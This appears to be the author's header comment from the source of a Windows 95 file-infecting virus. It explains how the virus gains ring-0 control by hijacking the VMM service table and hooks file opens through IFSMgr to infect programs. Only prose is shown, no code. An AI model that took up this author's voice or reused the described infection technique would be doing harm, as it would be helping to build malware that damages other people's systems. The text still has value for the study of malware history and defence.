;Anyone who had read my Fuck Harry source will find this virus very
;similar. Just recently I became interested in writing a ring-0 win95 PE
;infector again. On looking at my Fuck Harry virus I noticed a number of
;improvements that could be made. This virus is the product. Fuck Harry
;used zero space in the VMM device driver to store itself. This virus
;could do that just as well but instead I have come up with a better
;method. Using the heap alloc function of IFSMgr this virus is more
;stable. It also includes a bit of code which I assume would allow this
;virus to return to host under winNT without giving errors.
;
;When I look at this virus and Fuck Harry I still can't beleive the
;mental alienation of Microsoft. The idea that a ring-3 application
;running in a seperate virtual machine can write to ring-0 vxd space is
;beyond incompetense. Not only is it possible to write to vxd space but
;you can set an entry in the VMM service table that gets called every
;second (Get_System_Time) to a handler that is in a ring-3 selector.
;That's what this virus does. Once the handler gets control it allocates
;some space on the IFSMgr heap and copies the virus there. It then calls
;the IFSMgr_InstallFileSystemApiHook routine to trap file opens. So,
;needless to say, such terms as "Hacking ring-0" don't apply to windows
;95. I sincerely hope that such things are not mirrored in windows NT.
;I don't have winNT (or desire to install it) so I can't check. If such
;things were possible one would suspect security concerns to be raised.
;The one thing I hate is the way dynamic linking is done. It's a good
;idea I guess but it means you have to put the dynamic linking code back
;before you write the file - annoying.
;
;I actually have tried to optimize this virus. You could take out all
;the little checks, write to zero space in vmm again, etc and make this
;virus smaller but I honestly think sacrificing stability for size is a
;pointless exercise.
